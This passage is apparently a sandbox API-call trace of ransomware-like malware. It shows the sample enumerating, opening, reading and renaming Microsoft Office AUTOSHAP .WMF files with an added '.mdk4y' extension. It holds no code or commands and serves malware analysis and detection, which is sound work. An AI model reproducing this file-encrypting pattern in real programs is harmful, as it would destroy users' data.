(in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825783000000) returned 1 [0182.600] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x724, lpOverlapped=0x0) returned 1 [0182.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825783100000) returned 1 [0182.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825783100000) returned 1 [0182.602] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf.mdk4y")) returned 1 [0182.603] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.603] AreFileApisANSI () returned 1 [0182.603] GetACP () returned 0x4e4 [0182.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18231_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18231_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.603] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825783400000) returned 1 [0182.604] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x67c, lpOverlapped=0x0) returned 1 [0182.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825785600000) returned 1 [0182.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825785600000) returned 1 [0182.627] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf.mdk4y")) returned 1 [0182.627] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.627] AreFileApisANSI () returned 1 [0182.627] GetACP () returned 0x4e4 [0182.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18232_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18232_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.627] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825785800000) returned 1 [0182.628] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x66c, lpOverlapped=0x0) returned 1 [0182.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825786700000) returned 1 [0182.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825786700000) returned 1 [0182.637] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf.mdk4y")) returned 1 [0182.638] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.639] AreFileApisANSI () returned 1 [0182.639] GetACP () returned 0x4e4 [0182.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18233_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18233_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.639] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825787000000) returned 1 [0182.640] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x64c, lpOverlapped=0x0) returned 1 [0182.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825789200000) returned 1 [0182.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825789200000) returned 1 [0182.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf.mdk4y")) returned 1 [0182.663] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.663] AreFileApisANSI () returned 1 [0182.663] GetACP () returned 0x4e4 [0182.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18234_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18234_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.664] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825789400000) returned 1 [0182.664] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x754, lpOverlapped=0x0) returned 1 [0182.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825791100000) returned 1 [0182.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825791100000) returned 1 [0182.681] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf.mdk4y")) returned 1 [0182.682] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.682] AreFileApisANSI () returned 1 [0182.682] GetACP () returned 0x4e4 [0182.682] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18235_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18235_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.682] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825791300000) returned 1 [0182.683] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x73c, lpOverlapped=0x0) returned 1 [0182.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825791800000) returned 1 [0182.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825791800000) returned 1 [0182.688] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf.mdk4y")) returned 1 [0182.689] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.689] AreFileApisANSI () returned 1 [0182.689] GetACP () returned 0x4e4 [0182.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18236_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18236_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825791900000) returned 1 [0182.689] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6d4, lpOverlapped=0x0) returned 1 [0182.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825793400000) returned 1 [0182.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825793400000) returned 1 [0182.705] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf.mdk4y")) returned 1 [0182.706] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.706] AreFileApisANSI () returned 1 [0182.706] GetACP () returned 0x4e4 [0182.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18237_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18237_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825793700000) returned 1 [0182.707] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5fc, lpOverlapped=0x0) returned 1 [0182.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825793800000) returned 1 [0182.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825793800000) returned 1 [0182.709] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf.mdk4y")) returned 1 [0182.709] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.709] AreFileApisANSI () returned 1 [0182.709] GetACP () returned 0x4e4 [0182.709] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18238_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18238_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.709] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825794000000) returned 1 [0182.710] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x634, lpOverlapped=0x0) returned 1 [0182.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825795000000) returned 1 [0182.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825795000000) returned 1 [0182.721] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf.mdk4y")) returned 1 [0182.721] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.721] AreFileApisANSI () returned 1 [0182.721] GetACP () returned 0x4e4 [0182.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18239_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18239_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.721] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825795200000) returned 1 [0182.722] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x93c4, lpOverlapped=0x0) returned 1 [0182.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825796400000) returned 1 [0182.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825796400000) returned 1 [0182.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf.mdk4y")) returned 1 [0182.736] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.736] AreFileApisANSI () returned 1 [0182.736] GetACP () returned 0x4e4 [0182.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18241_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18241_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.736] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825796600000) returned 1 [0182.736] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xac8, lpOverlapped=0x0) returned 1 [0182.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825796800000) returned 1 [0182.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825796800000) returned 1 [0182.738] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf.mdk4y")) returned 1 [0182.739] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.739] AreFileApisANSI () returned 1 [0182.739] GetACP () returned 0x4e4 [0182.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18242_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18242_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.739] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825797100000) returned 1 [0182.741] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x822, lpOverlapped=0x0) returned 1 [0182.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825797200000) returned 1 [0182.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825797200000) returned 1 [0182.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf.mdk4y")) returned 1 [0182.744] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.744] AreFileApisANSI () returned 1 [0182.744] GetACP () returned 0x4e4 [0182.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18243_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18243_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.744] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825797600000) returned 1 [0182.746] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x822, lpOverlapped=0x0) returned 1 [0182.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825797800000) returned 1 [0182.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825797800000) returned 1 [0182.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf.mdk4y")) returned 1 [0182.749] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.749] AreFileApisANSI () returned 1 [0182.749] GetACP () returned 0x4e4 [0182.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18244_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18244_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.749] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825798000000) returned 1 [0182.750] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6ec, lpOverlapped=0x0) returned 1 [0182.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825806700000) returned 1 [0182.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825806700000) returned 1 [0182.837] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf.mdk4y")) returned 1 [0182.838] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.838] AreFileApisANSI () returned 1 [0182.838] GetACP () returned 0x4e4 [0182.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18245_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18245_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.838] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 